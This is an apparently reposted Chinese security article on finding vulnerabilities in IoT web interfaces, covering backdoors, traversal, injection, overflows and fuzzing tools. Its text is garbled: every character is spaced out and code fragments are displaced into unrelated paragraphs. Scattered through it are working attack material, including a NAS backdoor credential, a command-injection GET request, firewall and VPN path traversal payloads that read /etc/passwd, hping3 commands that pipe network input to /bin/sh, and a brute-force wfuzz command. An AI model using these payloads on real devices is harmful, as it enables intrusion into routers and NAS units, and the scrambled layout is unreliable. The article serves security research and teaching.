搜索

[16139] 2020-11-27_IOT漏洞研究：Web服务

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2020-11-27_IOT漏洞研究：Web服务 I O T 漏 洞 研 究 ： W e b 服 务 W o K o u g h   F r e e B u f   2 0 2 0 - 1 1 - 2 7 路 由 器 、 防 火 墙 、 N A S 和 摄 像 头 等 由 于 功 能 复 杂 ， 为 方 便 交 互 一 般 都 会 提 供 w e b 管 理 服 务 ， 和 服 务 器 w e b 相 比 ， I O T 的 w e b 功 能 较 为 简 单 ， 也 就 避 免 了 一 些 复 杂 功 能 存 在 的 漏 洞 ， 但 是 由 于 嵌 入 式 设 备 的 硬 件 瓶 颈 ， 设 备 自 身 的 安 全 检 测 与 防 护 能 力 有 限 ， 也 就 增 加 了 其 安 全 风 险 。 I o T   W e b 服 务 服 务 I O T   w e b 常 采 用 开 源 框 架 + 自 研 模 块 的 方 式 ， 漏 洞 特 点 也 较 为 明 显 ： ( 一 )   自 研 C G I 模 块 中 存 在 漏 洞 的 概 率 较 高 ， 漏 洞 差 异 性 大 ( 二 )   开 源 框 架 ( 可 能 的 ) 漏 洞 广 泛 存 在 各 种 设 备 ， 漏 洞 同 源 性 强 虽 然 具 体 漏 洞 存 在 差 异 ， 但 常 见 的 大 致 分 为 几 类 。 2 . 1   漏 洞 类 型 漏 洞 类 型 2 . 1 . 1   常 见 常 见 w e b 漏 洞 漏 洞 首 先 当 然 是 弱 口 令 ， 虽 然 在 I O T 攻 击 中 比 重 较 大 但 和 用 户 设 置 相 关 ， 再 次 不 做 讨 论 。 其 次 常 见 的 w e b 漏 洞 包 括 s q l 注 入 、 x s s 、 c s r f 、 s s r f 、 x x e 等 ， 由 于 挖 掘 和 利 用 方 法 和 服 务 器 w e b 基 本 相 似 ， 且 在 I O T   w e b 漏 洞 中 占 比 不 高 ， 就 不 在 赘 述 。 唯 一 想 强 调 的 是 路 由 器 、 防 火 墙 等 边 界 设 备 尤 其 要 重 视 s s r f 漏 洞 ， 不 然 很 容 易 成 为 内 网 渗 透 的 垫 脚 石 。 2 . 1 . 2   硬 编 码 硬 编 码 硬 编 码 是 开 发 人 员 为 了 方 便 调 试 ( 或 其 他 某 些 原 因 ) 在 设 备 内 部 保 留 的 后 门 ， 一 般 权 限 较 高 。 有 些 服 务 的 形 式 存 在 ， 比 如 某 款 路 由 器 的 I G D M P T D 进 程 默 认 开 启 5 3 4 1 3 端 口 ， 连 接 就 直 接 获 取 r o o t   s h e l l 。 许 多 I O T   w e b 应 用 中 也 被 发 现 存 在 硬 编 码 后 门 ， 比 如 某 款 N A S ， 以 下 是 该 N A S 的 n a s _ s h a r i n g . c g i 的 部 分 I D A 伪 代 码 ： L O A D ： 0 0 4 0 2 4 B 8                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r ( $ s p ) L O A D ： 0 0 4 0 2 4 B C                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r . s i n _ z e r o ( $ s p ) L O A D ： 0 0 4 0 2 4 C 0                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r . s i n _ z e r o + 4 ( $ s p ) L O A D ： 0 0 4 0 2 4 C 0 + 4                         l i             $ v 0 ,   2 L O A D ： 0 0 4 0 2 4 C 8                             s h             $ v 0 ,   0 x 3 0 + s o c k _ a d d r ( $ s p ) L O A D ： 0 0 4 0 2 4 C C                             l i             $ v 0 ,   0 x F F F F D 0 A 5   #   0 x d 0 5 a   =   5 3 4 1 3 L O A D ： 0 0 4 0 2 4 D 0                             s h             $ v 0 ,   0 x 3 0 + s o c k _ a d d r . s i n _ p o r t ( $ s p ) L O A D ： 0 0 4 0 2 4 D 4                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r . s i n _ a d d r ( $ s p ) s t r u c t   p a s s w d   * _ _ f a s t c a l l   r e _ B A C K D O O R ( c o n s t   c h a r   * a 1 ,   c o n s t   c h a r   * a 2 ) {         c o n s t   c h a r   * v 2 ;   / /   r 5 @ 1         c o n s t   c h a r   * v 3 ;   / /   r 4 @ 1         s t r u c t   p a s s w d   * r e s u l t ;   / /   r 0 @ 4         F I L E   * v 5 ;   / /   r 6 @ 5         s t r u c t   p a s s w d   * v 6 ;   / /   r 5 @ 7         { . . . }         i f   ( ! s t r c m p ( v 3 ,   " m y d l i n k B R i o n y g " )           & &     ! s t r c m p ( ( c o n s t   c h a r   * ) & v 9 ,   " a b c 1 2 3 4 5 c b a " )   )         {                 r e s u l t   =   ( s t r u c t   p a s s w d   * ) 1 ;         }         e l s e         {         v 5   =   ( F I L E   * ) f o p e n 6 4 ( " / e t c / s h a d o w " ,   " r " ) ;         { . . . }         i f   (   ! s t r c m p ( r e s u l t - > p w _ n a m e ,   v 3 )   )         {
可 以 看 出 代 码 中 包 含 了 一 个 管 理 员 凭 据 ( 用 户 名 m y d l i n k B R i o n y g / 密 码 a b c 1 2 3 4 5 c b a ) ， 代 码 中 还 使 用 了 危 险 函 数 s t r c p y ， 虽 然 在 这 个 漏 洞 没 有 用 到 ， 结 合 硬 编 码 可 以 构 造 命 令 注 入 数 据 实 现 设 备 的 远 程 控 制 。 此 种 漏 洞 还 是 比 较 直 观 的 ， 可 以 通 过 ( 二 进 制 ) 代 码 审 计 找 到 ， 使 用 一 些 反 汇 编 插 可 以 提 高 挖 掘 效 率 ， 在 后 文 我 们 会 讨 论 到 。 2 . 1 . 2   信 息 泄 漏 信 息 泄 漏 信 息 泄 漏 概 念 比 较 泛 ， 完 全 杜 绝 很 困 难 ， 一 般 只 要 出 现 对 设 备 研 究 ( 攻 击 ) 有 帮 助 的 信 息 泄 漏 都 会 造 成 一 定 危 害 ， 不 仅 用 户 信 息 ( 用 户 名 、 密 码 等 ) ， 二 进 制 文 件 地 址 信 息 等 较 为 敏 感 ， h t t p ( s ) 响 应 头 中 的 某 些 字 段 、 e r r o r 、 d e b u g 等 信 息 泄 漏 也 同 样 能 给 攻 击 者 带 来 帮 助 ， 从 某 些 文 件 的 l a s t _ m o d i f i e d 时 间 能 推 算 出 固 件 版 本 ， 这 些 熟 悉 渗 透 测 试 的 小 伙 伴 应 该 比 较 了 解 。 h t t p ( s )   h e a d e r 一 般 从 h t t p   r e s p o n s e   h e a d e r 中 可 以 得 知 w e b 服 务 框 架 名 、 版 本 号 等 信 息 ， 有 些 设 备 没 有 关 闭 d e b u g 和 e r r o r 输 出 ， 也 会 暴 露 一 些 敏 感 信 息 。 当 然 ， 从 固 件 中 提 取 文 件 系 统 ， 也 很 快 能 找 到 w e b 的 相 关 代 码 。 值 得 注 意 的 是 ， 很 多 I O T 设 备 型 号 和 固 件 版 本 多 ， 在 远 程 判 断 固 件 版 本 时 可 访 问 文 件 ( p n g 、 J S 等 等 ) 的 l a s t _ m o d i f i e d 属 性 很 可 能 会 给 出 提 示 。 返 回 时 间 通 过 返 回 时 间 判 断 漏 洞 在 S Q L 盲 注 中 比 较 常 见 ， 由 于 I O T 设 备 的 运 算 能 力 有 限 ， 如 果 漏 洞 能 触 发 高 消 耗 逻 辑 返 回 的 时 间 是 必 与 正 常 操 作 返 回 时 间 有 所 差 异 。 未 授 权 访 问 未 授 权 访 问 从 本 质 上 来 说 也 是 逻 辑 错 误 ， 就 是 在 判 断 权 限 的 逻 辑 前 执 行 了 功 能 逻 辑 ， 或 是 没 有 判 断 就 直 接 执 行 。 这 些 不 需 要 认 证 就 可 以 访 问 的 位 置 往 往 会 泄 露 敏 感 信 息 ， 甚 至 直 接 导 致 R C E 。 市 面 上 很 多 家 用 路 由 器 系 统 都 基 于 o p e n w r t ， 测 试 了 某 款 销 量 比 较 高 的 设 备 ， 其 中 也 不 乏 未 认 证 前 的 信 息 泄 漏 ， 有 些 比 较 敏 感 不 便 截 图 。 认 证 绕 过 认 证 绕 过 一 般 也 是 逻 辑 错 误 导 致 ， 有 些 设 备 为 了 省 事 不 遵 守 密 码 学 的 基 本 原 则 ， 将 用 户 密 码 明 文 存 放 。 如 果 存 在 信 息 泄 漏 将 会 把 用 户 凭 据 直 接 返 回 给 攻 击 者 。 比 如 某 路 由 器 c g i 存 在 逻 辑 错 误 ， 导 致 直 接 将 用 户 名 和 密 码 以 x m l 的 方 式 返 回 。                 s t r c p y ( & s ,   v 6 - > p w _ p a s s w d ) ;                 f c l o s e ( v 5 ) ;                 s t r c p y ( & d e s t ,   ( c o n s t   c h a r   * ) & v 9 ) ;                 v 7   =   ( c o n s t   c h a r   * ) s u b _ 1 6 0 3 C ( & d e s t ,   & s ) ;                 r e t u r n   ( s t r u c t   p a s s w d   * ) ( s t r c m p ( v 7 ,   & s )   = =   0 ) ;         }         { . . . } } G E T   / c g i - b i n / n a s _ s h a r i n g . c g i ? d b g = 1 & c m d = 5 1 & u s e r = m y d l i n k B R i o n y g & p a s s w d = Y W J j M T I z N D V j Y m E & s t a r t = 1 & c o u n t = 1 ; { y o u r   c m d } ; #   c u r l   - d   S E R V I C E S = D E V I C E . A C C O U N T   h t t p : / / { i p } / g e t c f g . p h p < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >         < p o s t x m l >                 < . . . >                 < u i d > U S R - < / u i d >                 < n a m e > a d m i n < / n a m e >
2 . 1 . 3   目 录 穿 越 目 录 穿 越 目 录 穿 越 是 未 设 置 访 问 边 界 ， 客 户 端 可 以 越 界 访 问 到 不 该 提 供 文 件 ， 一 般 会 造 成 任 意 文 件 读 漏 洞 。 以 下 链 接 很 好 的 介 绍 了 常 见 的 目 录 穿 越 漏 洞 点 ， 有 兴 趣 的 小 伙 伴 可 以 自 行 阅 读 。 h t t p s : / / w w w . h a c k i n g a r t i c l e s . i n / c o m p r e h e n s i v e - g u i d e - o n - p a t h - t r a v e r s a l / 目 录 穿 越 漏 洞 原 理 比 较 简 单 ， 但 有 时 候 也 需 要 一 些 技 巧 。 某 防 火 墙 目 录 穿 越 漏 洞 ， 可 获 取 配 置 文 件 等 敏 感 信 息 该 防 火 墙 在 全 球 广 泛 应 用 ， 由 于 没 有 对 l a n g 变 量 过 滤 ， 造 成 了 目 录 穿 越 读 对 漏 洞 ， 漏 洞 利 用 时 还 使 用 了 一 个 技 巧 ， 即 将 l a n g 长 度 扩 充 至 0 x 4 0 ， 将 ” . j s o n ” 字 符 串 “ 挤 在 ” 0 x 4 0 之 外 ， 由 于 s n p r i n t f 的 长 度 固 定 就 突 破 了 后 缀 名 限 制 ， p o c 如 下 ： 某 V P N 设 备 目 录 穿 越 漏 洞 ， 可 获 得 获 取 用 户 登 录 凭 据 该 V P N 设 备 也 在 全 球 广 泛 使 用 ， 漏 洞 原 因 是 使 用 了 h t m l 5 新 特 性 时 没 有 对 路 径 过 滤 ， 同 时 由 于 该 V P N 设 备 缓 存 中 可 能 保 留 用 户 凭 据 和 密 码 明 文 ， 就 有 很 大 概 率 拿 到 凭 据 绕 过 认 证 。 2 . 1 . 4   注 入 注 入 注 入 漏 洞 也 是 大 家 比 较 熟 悉 的 ， 安 全 研 究 人 员 的 职 业 病 就 是 遇 到 输 入 的 地 方 都 忍 不 住 试 一 试 能 不 能 执 行 命 令 ， 在 某 些 弹 幕 里 居 然 还 有 许 多 a l e r t 飘 过 ~ ~ ~ 有 输 入 的 地 方 就 有 可 能 存 在 注 入 ， 一 般 命 令 注 入 和 参 数 注 入 较 为 常 见 。 命 令 注 入 命 令 注 入 一 般 是 没 有 过 滤 用 户 输 入 内 容 ， 直 接 通 过 s y s t e m 等 函 数 执 行 运 行 ， 只 要 在 输 入 中 加 入 “ ; ” 或 者 ” & & ” ， 随 后 跟 上 要 执 行 的 命 令 ， 就 可 以 完 成 注 入 。 有 些 过 滤 不 严 格 ， 通 过 一 些 技 巧 绕 过 也 可 达 到 相 同 效 果 ， 方 法 也 和 一 般 w e b 渗 透 基 本 相 同 。 上 面 展 示 了 某 路 由 设 备 命 令 注 入 漏 洞 的 部 分 代 码 ， 由 于 对 用 户 输 入 p o r t 值 缺 少 过 滤 ， 并 直 接 用 s y s t e m 执 行 造 成 了 命 令 注 入 ， 诸 如 此 类 简 单 的 注 入 漏 洞 通 过 反 汇 编 脚 本 辅 助 可 很 快 发 现 。 参 数 注 入 稍 微 注 重 安 全 的 厂 商 都 会 在 设 备 中 对 用 户 输 入 做 字 符 过 滤 ， 有 的 还 十 分 严 格 ， 但 往 往 忽 略 了 应 用 参 数 。 前 面 提 到 ， 设 备 应 用 了 很 多 开 源 工 具 ， 有 些 开 源 工 具 功 能 强 大 ， 参 数 很 多 ， 但 是 在 移 植 的 时 候 开 发 者 并 没 有 修 改 代 码 ， 这 样 对 开 源 工 具 自 身 功 能 的 运 用 或 者 参 数 的 覆 盖 也 可 以 达 到 注 入 的 目 的 。 有 些 设 备 会 内 置 p i n g / t a r c e / h p i n g 3 等 功 能 ， h p i n g 3 功 能 强 大 ， 我 们 比 较 熟 悉 的 是 网 络 联 通 探 测 和 F l o o d 攻 击 ， 但 是 往 往 会 忽 略 h p i n g 3 还 有 监 听 功 能 ， 在 下 面 这 篇 文 章 中 对 其 功 能 和 技 巧 概 括 比 较 全 面 。 h t t p s : / / m e d i u m . c o m / @ i p h e l i x / h p i n g - t i p s - a n d - t r i c k s - 8 5 6 9 8 7 5 1 1 7 9 f                 < u s r i d > < / u s r i d >                 < p a s s w o r d > a d m i n 1 3 2 4 < / p a s s w o r d >                 < . . . >         < / p o s t x m l > s n p r i n t f ( s ,   0 x 4 0 ,   " / m i g a d m i n / l a n g / % s . j s o n " ,   l a n g ) ; / l a n g   m i g a d m i n / l a n g   = / . . / . . / . . / . . / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / b i n / s h   / / . . / . . / . . / . . / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / b i n / s h . j s o n / d a n a - n a / . . / d a n a / h t m l 5 a c c / g u a c a m o l e / . . / . . / . . / . . / . . / . . / e t c / p a s s w d ? / d a n a / h t m l 5 a c c / g u a c a m o l e / i n t   _ _ f a s t   s u b _ 9 4 2 4 ( i n t   p o r t ) {         i n t   v 1 ;   / /   r 5         c h a r   s ;   / /   [ s p + 0 h ] [ b p - 1 1 4 h ]         v 1   =   p o r t ;         m e m s e t ( & s ,   0 ,   0 x 1 0 0 u ) ;         s p r i n t f ( & s ,   " l i g h t y _ s s l   - p   % s " ,   v 1 ) ;         s y s t e m ( & s ) ;         r e t u r n   0 ; }
其 中 提 到 利 用 h p i n g 3 的 监 听 功 能 可 以 构 造 b a c k d o o r ， 在 设 备 端 执 行 本 地 执 行 当 设 备 受 到 的 网 路 数 据 中 包 含 ” s e c r e t ” 关 键 字 时 就 会 执 行 c o m m a n d s _ f i l e 文 件 中 的 s h e l l 命 令 。 此 外 h p i n g 3 还 可 以 读 取 文 件 并 发 送 ， 达 到 S S R F 的 效 果 ， 这 里 不 再 赘 述 ， 有 兴 趣 的 小 伙 伴 可 以 具 体 查 看 其 参 数 功 能 。 2 . 1 . 4   内 存 溢 出 内 存 溢 出 相 对 于 之 前 的 几 种 漏 洞 ， I O T   w e b 中 的 溢 出 漏 洞 一 般 要 结 合 二 进 制 代 码 审 计 ， 常 见 于 处 理 解 析 输 入 的 位 置 。 内 存 溢 出 漏 洞 发 现 比 较 容 易 ， 因 为 漏 洞 触 发 现 象 明 显 ， 往 往 会 造 成 崩 溃 ， 利 用 方 面 比 上 述 的 漏 洞 稍 复 杂 一 些 ， 需 要 二 进 制 的 基 础 。 解 析 参 数 解 析 h t t p ( s ) 参 数 时 可 能 会 发 生 溢 出 问 题 ， 下 面 是 某 路 由 器 的 h t t p   c g i 中 部 分 解 析 代 码 ： u V a r 1 是 H T T P _ C O O K I E 中 u i d 的 内 容 ， 由 于 未 对 其 长 度 作 限 制 ， 而 a c S t a c k 1 0 6 4 长 度 有 限 ， 就 导 致 栈 溢 出 。 解 析 j a v a s c r i p t j s 中 不 仅 能 找 到 f l a g ， 还 可 能 导 致 漏 洞 。 某 防 火 墙 的 W e b V P N 功 能 在 解 析 H T M L 中 的 J a v a S c r i p t 时 ， 服 务 器 会 尝 试 使 用 如 下 代 码 将 内 容 拷 贝 到 缓 冲 区 中 ： 缓 冲 区 大 小 固 定 为 0 x 2 0 0 0 ， 但 输 入 字 符 串 没 有 长 度 限 制 ， 就 造 成 了 堆 溢 出 。 I O T 设 备 溢 出 漏 洞 利 用 相 对 简 单 ， 在 设 备 中 使 用 p w n   c h e c k s e c 会 发 现 ， 为 了 节 省 资 源 程 序 一 般 没 有 开 什 么 防 护 机 制 ， 基 本 处 于 “ 裸 奔 ” 状 态 。 设 备 中 的 非 w e b 协 议 也 会 存 在 溢 出 等 内 存 问 题 ， 会 在 之 后 的 文 章 中 作 探 讨 。 2 . 2   研 究 方 法 研 究 方 法 研 究 方 法 无 非 静 态 审 计 或 者 动 态 测 试 ， 利 用 一 些 插 件 工 具 辅 助 可 以 提 高 效 率 。 2 . 2 . 1   静 态 分 析 静 态 分 析 源 代 码 审 计 跟 着 代 码 逻 辑 一 步 一 步 往 后 看 当 然 可 以 ， 但 是 费 时 费 力 不 太 现 实 ， 一 般 可 都 从 危 险 函 数 入 手 ， 回 溯 其 调 用 是 否 存 在 问 题 ， 危 险 函 数 一 般 包 括 s y s t e m 等 可 以 执 行 命 令 的 ， s t r c p y / s n p r i n t f 等 对 内 存 或 字 符 串 操 作 的 ， 还 有 回 调 类 的 等 等 ， 因 不 同 编 程 语 言 而 异 。 市 面 上 有 许 多 成 熟 的 代 码 审 计 工 具 ，   比 较 出 名 的 R I P S 、 F o r t i f y   S C A 等 ， 网 上 教 程 很 多 ， 这 里 不 再 赘 述 。 二 进 制 审 计 现 在 的 反 汇 编 工 具 很 强 大 ， 使 得 二 进 制 审 计 和 代 码 审 计 没 有 本 质 区 别 。 方 法 也 差 不 多 是 从 危 险 函 数 和 有 输 入 交 互 的 逻 辑 入 手 ， 再 回 溯 其 是 否 存 在 漏 洞 。 推 荐 的 一 些 I D A 插 件 在 之 前 固 件 分 析 篇 已 经 列 出 ， P A G a l a x y L a b 开 源 的 一 些 G h i d r a 脚 本 也 很 值 得 借 鉴 。 h t t p s : / / g i t h u b . c o m / P A G a l a x y L a b / g h i d r a _ s c r i p t s 利 用 插 件 可 以 直 接 将 想 要 的 函 数 列 出 便 于 审 计 ： h p i n g 3   - I   e t h 1   - 9   s e c r e t   |   / b i n / s h h p i n g 3   - R   1 9 2 . 1 6 8 . 1 . 1 0 0   - e   s e c r e t   - E   c o m m a n d s _ f i l e   - d   1 0 0   - c   1 { . . . } _ _ f d   =   f i l e n o ( _ _ s t r e a m ) ; l o c k f ( _ _ f d , 0 , 0 ) ; f c l o s e ( _ _ s t r e a m ) ; r e m o v e ( " / v a r / t m p / t e m p . x m l " ) ; u V a r 1   =   s o b j _ g e t _ s t r i n g ( i V a r 5 ) ; s p r i n t f ( a c S t a c k 1 0 6 4 ,   " / h t d o c s / w e b i n c / f a t l a y . p h p n p r e f i x = % s / % s " , " / r u n t i m e / s e s s i o n " ， u V a r 1 ) ; x m l d b c _ e p h p ( 0 , 0 , a c S t a c k 1 0 6 4 , s t d o u t ) ; i f   ( _ _ f d _ 0 0   = =   0 )   g o t o   L A B _ 0 0 4 0 9 9 c c ; _ _ s 1   =   ( c a h r   * ) 0 x 0 ; { . . . m e m c p y ( b u f f e r ,   j s _ b u f ,   j s _ b u f _ l e n ) ;
2 . 2 . 2   动 态 测 试 2 . 2 . 2 . 1   S c a n 能 用 工 具 直 接 扫 出 来 漏 洞 又 何 必 自 己 动 手 挖 ， 和 研 究 传 统 的 w e b 相 同 ， 先 利 用 a p p s c a n 、 b u r p s u i t e 等 工 具 扫 描 ， 虽 然 大 概 率 扫 不 出 来 ， 但 多 少 可 以 获 得 一 些 有 用 信 息 。 2 . 2 . 2 . 2   f u z z 如 果 扫 描 工 具 效 果 一 般 ， 可 以 利 用 一 些 f u z z 工 具 或 者 f u z z 框 架 的 自 研 代 码 进 行 测 试 ， f u z z 针 对 的 目 标 或 者 说 要 解 决 的 问 题 有 三 个 ： ( 一 )   有 哪 些 可 访 问 的 页 面 ( 位 置 ) ( 二 )   这 些 页 面 ( 位 置 ) 的 有 哪 些 参 数 ( 三 )   在 解 析 这 些 参 数 时 可 能 出 现 的 问 题 f u z z 工 具 ( 框 架 ) 的 选 取 根 据 自 己 的 喜 好 ， 笔 直 以 前 会 经 常 试 用 一 些 新 的 框 架 ， 时 至 今 日 f u z z 工 具 ( 框 架 ) 已 经 数 不 过 来 ， 下 面 这 个 网 站 展 示 了 常 见 的 f u z z 工 具 ( 框 架 ) 和 关 系 图 。 h t t p s : / / f u z z i n g - s u r v e y . o r g / 最 简 单 的 就 是 利 用 b u r p s u i t e 的 i n t r u d e 功 能 ， 将 参 数 内 容 设 置 为 从 字 典 中 选 取 ， 通 过 返 回 ( 大 小 ) 判 断 是 否 找 到 了 某 些 b u g 。 下 面 介 绍 笔 者 常 用 的 一 些 f u z z 工 具 。 w f u z z w f u z z 是 为 了 测 试 w e b 应 用 安 全 性 而 生 的 f u z z 工 具 ， 可 利 用 给 定 的 P a y l o a d 去 f u z z 。 P a y l o a d 可 以 是 参 数 、 认 证 、 表 单 、 目 录 / 文 件 、 头 部 等 等 ， 这 款 工 具 在 k a l i 里 面 。 比 如 想 测 试 提 交 的 u s e r n a m e = & p a s s w o r d = 参 数 ， 可 以 使 用 如 下 命 令 ： 可 以 看 到 和 之 前 提 到 的 b u r p s u i t e 的 i n t r u d e 功 能 很 像 。 研 究 过 f u z z 的 小 伙 伴 知 道 ， f u z z 一 般 基 于 生 成 或 变 异 ， 这 里 基 于 字 典 ， 可 以 算 是 生 成 类 型 ， 所 以 能 不 能 有 所 收 获 全 看 有 没 有 好 字 典 。 当 然 w f u z z 还 有 许 多 使 用 技 巧 ， 在 w e b 漏 洞 挖 掘 中 十 分 强 大 ， 篇 幅 原 因 这 里 不 再 展 开 。 b o o f u z z 与 w f u z z 不 同 ， b o o f u z z 是 一 个 p y t h o n 的 f u z z 框 架 ， 其 前 身 是 s u l l e y 。 b o o f u z z 比 较 灵 活 ， 支 持 多 种 协 议 f u z z ， 但 需 要 开 发 者 对 所 测 试 协 议 格 式 较 为 了 解 。 w f u z z   - w   u s e r L i s t   - w   p w d L i s t   - d   " u s e r n a m e = F U Z Z & p a s s w o r d = F U Z 2 Z "   h t t p : / / 1 2 7 . 0 . 0 . 1 / l o g i n . p h p d e f   d e f i n e _ p r o t o _ s t a t i c ( s e s s i o n ) :         s _ i n i t i a l i z e ( n a m e = " R e q u e s t " )         w i t h   s _ b l o c k ( " R e q u e s t - L i n e " ) :                 s _ g r o u p ( " M e t h o d " ,   [ " G E T " ,   " H E A D " ,   " P O S T " ,   " P U T " ,   " D E L E T E " ,   " C O N N E C T " ,   " O P T I O N S " ,   " T R A C E " ] )                 s _ d e l i m ( "   " ,   n a m e = " s p a c e - 1 " )                 s _ s t r i n g ( " / i n d e x . h t m l " ,   n a m e = " R e q u e s t - U R I " )                 s _ d e l i m ( "   " ,   n a m e = " s p a c e - 2 " )                 s _ s t r i n g ( " H T T P / 1 . 1 " ,   n a m e = " H T T P - V e r s i o n " )                 s _ s t a t i c ( " r n " ,   n a m e = " R e q u e s t - L i n e - C R L F " )                 s _ s t r i n g ( " H o s t : " ,   n a m e = " H o s t - L i n e " )
这 是 b o o f u z z   测 试 h t t p 的 示 例 的 代 码 片 段 ， 可 以 看 到 d e f i n e _ p r o t o _ s t a t i c 函 数 在 构 造 h t t p 协 议 请 求 格 式 ， 在 每 个 位 置 都 可 以 选 择 是 运 用 固 定 字 符 串 ( 数 字 ) 还 是 利 用 变 异 。 嵌 入 式 f u z z 的 一 个 难 点 在 于 监 视 器 ， 即 发 送 f u z z 数 据 后 的 异 常 状 态 检 测 。 在 设 备 端 需 要 一 个 类 似 插 桩 的 东 西 随 时 监 测 应 用 状 态 ， 在 x 8 6 ( - 6 4 ) 的 f u z z 中 有 许 多 这 样 的 工 具 ， 但 由 于 某 些 I O T 设 备 自 身 限 制 ， 移 植 比 较 困 难 。 如 果 只 以 程 序 是 否 奔 溃 为 检 测 依 据 颗 粒 度 过 大 ， 一 般 只 能 检 测 到 内 存 奔 溃 漏 洞 ， 如 果 存 在 守 护 进 程 那 效 果 更 不 明 显 ， 一 般 会 采 取 如 下 方 案 ： ( 一 )   利 用 s y s l o g 反 馈 ， 通 过 d m e s g 等 日 志 信 息 检 测 程 序 异 常 ， 一 般 会 将 d e b u g 信 息 级 别 调 制 最 高 。 ( 二 )   利 用 g d b 调 试 监 测 ， 通 过 便 携 . g d b i n i t 脚 本 在 g d b 调 试 进 程 时 检 测 所 需 状 态 。 ( 三 )   利 用 模 拟 器 模 拟 进 程 ， 通 过 Q E M U 、 u n i c o r n 、 Q i l i n g 等 模 拟 设 备 文 件 ， 这 些 工 具 都 提 供 了 一 些 插 桩 功 能 。 当 然 还 可 以 移 植 ， 虽 然 也 可 以 直 接 做 I O T 架 构 下 的 二 进 制 f u z z ， 但 是 效 率 较 低 ， 可 以 结 合 模 拟 器 ， 比 如 Q i l i n g ， 做 一 些 尝 试 ， 最 好 还 是 在 有 代 码 的 情 况 移 植 做 f u z z 。 以 前 做 嵌 入 式 开 发 ， 在 G o l a n g 兴 起 前 是 想 尽 办 法 交 叉 编 译 ， 让 程 序 移 植 到 设 备 上 能 稳 定 运 行 ； 现 在 作 安 全 研 究 ， 是 想 尽 办 法 把 设 备 程 序 移 植 到 主 机 上 运 行 ， 以 利 用 主 机 C P U 的 运 算 能 力 提 高 f u z z 效 率 ， 想 想 就 让 人 不 胜 唏 嘘 。 H o n g f u z z h t t p s : / / g i t h u b . c o m / g o o g l e / h o n g g f u z z H o n g g f u z z 、 A F L 和 l i b f u z z e r 都 由 G o o g l e 开 发 ， 是 比 较 著 名 的 三 个 基 于 代 码 覆 盖 率 的 f u z z e r 。 这 里 简 单 提 及 一 下 利 用 H o n g g f u z z   N e t D r i v e r   白 盒 f u z z   s o c k e t 类 程 序 的 方 法 ， 一 般 会 将 策 划 个 女 婿 的 m a i n 函 数 改 为 H F N D _ F U Z Z I N G _ E N T R Y _ F U N C T I O N ， 然 后 用 h f u z z - c l a n g 编 译 ，   l i b h f n e t d r i v e r . a 链 接 即 可 。 改 为 使 用 时 执 行 以 下 命 令 ， _ H F _ T C P _ P O R T 指 定 监 听 的 端 口 ， f u z z e r 会 和 这 个 端 口 建 立 t c p 连 接 ， 然 后 发 送 数 据 ： A F L ( 和 其 无 数 衍 生 工 具 ) h t t p s : / / g i t h u b . c o m / g o o g l e / A F L A F L 不 用 多 说 ， 网 上 的 资 料 众 多 ， 利 用 A F L 的 q e m u 或 u n i c o r n 模 式 可 以 对 设 备 程 序 作 黑 盒 f u z z ， 虽 然 效 率 不 高 。 A F L 的 衍 生 工 具 有 很 多 ， 简 单 列 举 两 个 和 w e b 相 关 的 ： A F L n e t ： A F L   f u z z 网 络 协 议 版 h t t p s : / / g i t h u b . c o m / a f l n e t / a f l n e t a f l - c g i - w r a p p e r ： 利 用 A F L   f u z z   w e b   C G I h t t p s : / / g i t h u b . c o m / f l o y d - f u h / a f l - c g i - w r a p p e r 3 . 2 . 2 . 3   动 态 调 试 设 备 上 的 调 试 一 般 用 g d b ， 有 条 件 上 p y t h o n ， 装 个 p e d a / g e f / p w n d b g 更 好 。 笔 者 观 点 是 有 现 成 的 b i n a r y 就 用 ， 运 行 不 了 再 自 己 交 叉 编 译 ， g i t h u b 上 不 乏 编 译 好 的 g d b   s t a t i c 文 件 ， 涵 盖 多 种 设 备 架 构 ： h t t p s : / / g i t h u b . c o m / h u g s y / g d b - s t a t i c 当 然 还 可 以 用 I D A   p r o 远 程 a t t a c h 进 行 调 试 ， 远 程 调 试 一 般 也 是 利 用 g d b s e r v e r ， 本 质 上 没 有 差 别 ， 有 些 情 况 下 还 可 能 出 现 崩 溃 ， 这 个 因 设                 s _ s t r i n g ( " H o s t : " ,   n a m e = " H o s t - L i n e " )                 s _ d e l i m ( "   " ,   n a m e = " s p a c e - 3 " )                 s _ s t r i n g ( " e x a m p l e . c o m " ,   n a m e = " H o s t - L i n e - V a l u e " )                 s _ s t a t i c ( " r n " ,   n a m e = " H o s t - L i n e - C R L F " )         s _ s t a t i c ( " r n " ,   " R e q u e s t - C R L F " ) i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ) {         { . . . } } H F N D _ F U Z Z I N G _ E N T R Y _ F U N C T I O N ( i n t   a r g c ,   c h a r   * a r g v [ ] ) {         { . . . } } _ H F _ T C P _ P O R T = 8 8 8 8   h o n g g f u z z   - f   i n p u t   - -   . / v u l n
备 而 异 。 2 . 3   研 究 流 程 研 究 流 程 最 后 讨 论 下 I O T   w e b 的 研 究 流 程 ， 一 般 要 通 过 信 息 收 集 ， 认 证 前 分 析 ， 认 证 后 分 析 几 个 步 骤 ， 下 面 列 举 一 些 基 本 的 流 程 ， 欢 迎 小 伙 伴 们 一 起 探 讨 补 充 。 2 . 3 . 1   信 息 收 集 信 息 收 集 信 息 收 主 要 是 对 设 备 信 息 作 梳 理 ， 实 际 研 究 时 不 仅 仅 是 w e b 方 面 ， 本 篇 既 然 着 重 I O T   w e b 就 先 提 供 一 些 此 方 面 的 思 路 。 开 源 识 别 通 过 设 备 解 包 或 w e b ( 错 误 ) 返 回 信 息 等 确 认 w e b 框 架 ， 是 否 是 a p a c h e / n g n i x / w e b a p p 等 开 源 框 架 ， 其 版 本 具 体 信 息 是 什 么 。 如 果 不 开 源 ， 那 么 之 后 的 测 试 点 又 多 了 一 项 。 公 开 漏 洞 设 备 ( w e b ) 有 哪 些 历 史 漏 洞 ， 厂 商 补 丁 是 否 完 全 有 效 ； 若 框 架 开 源 ， 相 应 版 本 存 在 哪 些 漏 洞 ， 是 否 补 上 。 所 有 